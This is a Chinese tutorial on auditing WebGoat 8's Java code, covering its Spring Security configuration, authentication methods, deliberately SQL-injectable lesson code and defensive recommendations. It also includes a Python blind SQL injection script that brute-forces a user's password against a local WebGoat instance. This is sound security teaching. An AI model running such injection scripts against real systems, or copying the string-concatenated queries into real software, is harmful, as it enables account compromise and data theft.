Java代码审计入门篇:WebGoat 8(初见)
字数 1312 2025-08-18 11:39:00

WebGoat 8 Java代码审计教学文档

1. WebGoat 8简介

WebGoat 8是基于Spring Boot框架开发的故意不安全的Web应用程序,用于教授Web应用程序安全性课程。它演示了常见的服务器端应用程序缺陷。

2. 环境准备

2.1 系统要求

  • Java 11(必须,Java 8编译失败)
  • Maven > 3.2.1
  • IDEA(推荐)

2.2 项目获取与编译

git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat
mvn clean install
mvn -pl webgoat-server spring-boot:run

2.3 导入IDEA

  1. 选择Maven Root directory为WebGoat目录
  2. 勾选Maven projects
  3. 选择SDK 11
  4. 设置任意Project name

3. 组件安全审计

3.1 组件漏洞检查

  • 检查引入的组件及其版本
  • 查找已知漏洞组件:Struts2、不安全的编辑控件、XML解析器、commons-collections等
  • 使用自动化工具:OWASP Dependency-Check

3.2 OWASP Dependency-Check

  • 开源程序,识别项目依赖项并检查已知漏洞
  • 支持多种语言:Java、.NET、Ruby、Node.js、Python等
  • 可集成到多种工具:Ant、Maven、Gradle、Jenkins、Sonar等

4. 登录认证模块审计

4.1 WebSecurityConfig

Spring Boot通过WebSecurityConfig文件设置安全项(认证和授权)

关键代码:

@Configuration
@AllArgsConstructor
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    private final UserService userDetailsService;

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
            .authorizeRequests()
            .antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc").permitAll()
            .anyRequest().authenticated();
        
        security.and()
            .formLogin()
            .loginPage("/login")
            .defaultSuccessUrl("/welcome.mvc", true)
            .usernameParameter("username")
            .passwordParameter("password")
            .permitAll();
        
        security.and()
            .logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
        
        security.and().csrf().disable();
        http.headers().cacheControl().disable();
        http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
    }

    @Autowired
    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
        auth.userDetailsService(userDetailsService);
    }
}

4.2 认证方式分析

  1. 内存认证(不安全):
auth.inMemoryAuthentication()
    .withUser("user").password("password").roles("USER").and()
    .withUser("admin").password("password").roles("USER", "ADMIN");
  1. JDBC认证
auth.jdbcAuthentication()
    .dataSource(dataSource)
    .withDefaultSchema()
    .withUser("user").password("password").roles("USER").and()
    .withUser("admin").password("password").roles("USER", "ADMIN");
  1. LDAP认证
auth.ldapAuthentication()
    .userDnPatterns("uid={0},ou=people")
    .groupSearchBase("ou=groups");
  1. 自定义UserDetailsService认证(WebGoat使用方式):
auth.userDetailsService(userDetailsService);

4.3 UserService实现

@Service
@AllArgsConstructor
public class UserService implements UserDetailsService {
    private final UserRepository userRepository;
    private final UserTrackerRepository userTrackerRepository;

    @Override
    public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException {
        WebGoatUser webGoatUser = userRepository.findByUsername(username);
        if (webGoatUser == null) {
            throw new UsernameNotFoundException("User not found");
        } else {
            webGoatUser.createUser();
        }
        return webGoatUser;
    }

    public void addUser(String username, String password) {
        userRepository.save(new WebGoatUser(username, password));
        userTrackerRepository.save(new UserTracker(username));
    }
}

4.4 JPA Repository安全实现

public interface UserRepository extends JpaRepository<WebGoatUser, String> {
    WebGoatUser findByUsername(String username);
    List<WebGoatUser> findAll();
}

JPA查询方式:

  1. 解析方法名创建查询(安全)

    • 前缀:find、read、readBy、get、getBy
    • 示例:findByUsernameselect u from WebGoatUser u where u.username = ?1
  2. @Query创建查询(需检查)

    @Query("select a from AccountInfo a where a.accountId = ?1")
    public AccountInfo findByAccountId(Long accountId);
    
    @Query("from AccountInfo a where a.accountId = :id")
    public AccountInfo findByAccountId(@Param("id")Long accountId);
    
  3. JPA命名查询(需检查orm.xml或@NamedQuery)

5. 注册功能审计

5.1 注册控制器

@Controller
@AllArgsConstructor
@Slf4j
public class RegistrationController {
    private UserValidator userValidator;
    private UserService userService;
    private AuthenticationManager authenticationManager;

    @GetMapping("/registration")
    public String showForm(UserForm userForm) {
        return "registration";
    }

    @PostMapping("/register.mvc")
    @SneakyThrows
    public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, 
                             BindingResult bindingResult, HttpServletRequest request) {
        userValidator.validate(userForm, bindingResult);
        if (bindingResult.hasErrors()) {
            return "registration";
        }
        userService.addUser(userForm.getUsername(), userForm.getPassword());
        request.login(userForm.getUsername(), userForm.getPassword());
        return "redirect:/attack";
    }
}

5.2 用户验证器

public class UserValidator implements Validator {
    private final UserRepository userRepository;

    @Override
    public void validate(Object o, Errors errors) {
        UserForm userForm = (UserForm) o;
        if (userRepository.findByUsername(userForm.getUsername()) != null) {
            errors.rejectValue("username", "username.duplicate");
        }
        if (!userForm.getMatchingPassword().equals(userForm.getPassword())) {
            errors.rejectValue("matchingPassword", "password.diff");
        }
    }
}

6. SQL注入漏洞分析

6.1 基础SQL注入(Lesson 1)

直接执行用户输入的SQL查询:

@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String query) {
    return injectableQuery(query);
}

protected AttackResult injectableQuery(String _query) {
    try {
        Connection connection = DatabaseUtilities.getConnection(getWebSession());
        String query = _query;
        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
        ResultSet results = statement.executeQuery(_query);
        // ...
    }
}

6.2 参数拼接注入(Lesson 8)

@PostMapping
public @ResponseBody AttackResult completed(@RequestParam String account, 
                                          @RequestParam String operator, 
                                          @RequestParam String injection) {
    return injectableQuery(account + " " + operator + " " + injection);
}

protected AttackResult injectableQuery(String accountName) {
    String query = "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'";
    try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) {
        ResultSet results = statement.executeQuery(query);
        // ...
    }
}

6.3 高级SQL注入挑战(Challenge 4)

混合安全和不安全的实现:

@PutMapping
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg, 
                                  @RequestParam String email_reg, 
                                  @RequestParam String password_reg) throws Exception {
    // 不安全的查询
    String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
    Statement statement = connection.createStatement();
    ResultSet resultSet = statement.executeQuery(checkUserQuery);
    
    // 安全的插入
    PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
    preparedStatement.setString(1, username_reg);
    preparedStatement.setString(2, email_reg);
    preparedStatement.setString(3, password_reg);
    preparedStatement.execute();
}

6.4 密码爆破脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import string

def getPassword():
    cookies = {'JSESSIONID': 'dZcRiB0wXwYNLWxpjqdGiIHl2jJojW2fj4-eJRxT'}
    url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge"
    password = ''
    
    for num in range(1, 24):
        for word in string.lowercase:
            pa = 'tom \'and substring(password,'+str(num)+',1)=\''+word+'\' -- kljh'
            payload = {
                'username_reg': pa, 
                'email_reg':'123%40123.com', 
                'password_reg': '123', 
                'confirm_password_reg': '123'
            }
            r = requests.put(url, cookies=cookies, data=payload)
            if r.json()['lessonCompleted'] == False:
                password += word
                print('password:' + password)
                break

if __name__ == "__main__":
    getPassword()

7. 安全建议

  1. 认证安全

    • 避免使用内存认证
    • 使用强密码哈希算法(如BCrypt)
    • 实现账户锁定机制
  2. SQL注入防护

    • 始终使用参数化查询(PreparedStatement)
    • 避免直接拼接SQL语句
    • 使用ORM框架时遵循规范
  3. 组件安全

    • 定期检查依赖项漏洞
    • 使用OWASP Dependency-Check等工具自动化检查
    • 及时更新有漏洞的组件
  4. 输入验证

    • 对所有用户输入进行验证
    • 使用白名单验证
    • 实施长度和格式限制
  5. 安全配置

    • 禁用不必要的HTTP方法
    • 配置安全的HTTP头
    • 启用CSRF防护
WebGoat 8 Java代码审计教学文档 1. WebGoat 8简介 WebGoat 8是基于Spring Boot框架开发的故意不安全的Web应用程序,用于教授Web应用程序安全性课程。它演示了常见的服务器端应用程序缺陷。 2. 环境准备 2.1 系统要求 Java 11(必须,Java 8编译失败) Maven > 3.2.1 IDEA(推荐) 2.2 项目获取与编译 2.3 导入IDEA 选择Maven Root directory为WebGoat目录 勾选Maven projects 选择SDK 11 设置任意Project name 3. 组件安全审计 3.1 组件漏洞检查 检查引入的组件及其版本 查找已知漏洞组件:Struts2、不安全的编辑控件、XML解析器、commons-collections等 使用自动化工具:OWASP Dependency-Check 3.2 OWASP Dependency-Check 开源程序,识别项目依赖项并检查已知漏洞 支持多种语言:Java、.NET、Ruby、Node.js、Python等 可集成到多种工具:Ant、Maven、Gradle、Jenkins、Sonar等 4. 登录认证模块审计 4.1 WebSecurityConfig Spring Boot通过WebSecurityConfig文件设置安全项(认证和授权) 关键代码: 4.2 认证方式分析 内存认证 (不安全): JDBC认证 : LDAP认证 : 自定义UserDetailsService认证 (WebGoat使用方式): 4.3 UserService实现 4.4 JPA Repository安全实现 JPA查询方式: 解析方法名创建查询 (安全) 前缀:find、read、readBy、get、getBy 示例: findByUsername → select u from WebGoatUser u where u.username = ?1 @Query创建查询 (需检查) JPA命名查询 (需检查orm.xml或@NamedQuery) 5. 注册功能审计 5.1 注册控制器 5.2 用户验证器 6. SQL注入漏洞分析 6.1 基础SQL注入(Lesson 1) 直接执行用户输入的SQL查询: 6.2 参数拼接注入(Lesson 8) 6.3 高级SQL注入挑战(Challenge 4) 混合安全和不安全的实现: 6.4 密码爆破脚本 7. 安全建议 认证安全 : 避免使用内存认证 使用强密码哈希算法(如BCrypt) 实现账户锁定机制 SQL注入防护 : 始终使用参数化查询(PreparedStatement) 避免直接拼接SQL语句 使用ORM框架时遵循规范 组件安全 : 定期检查依赖项漏洞 使用OWASP Dependency-Check等工具自动化检查 及时更新有漏洞的组件 输入验证 : 对所有用户输入进行验证 使用白名单验证 实施长度和格式限制 安全配置 : 禁用不必要的HTTP方法 配置安全的HTTP头 启用CSRF防护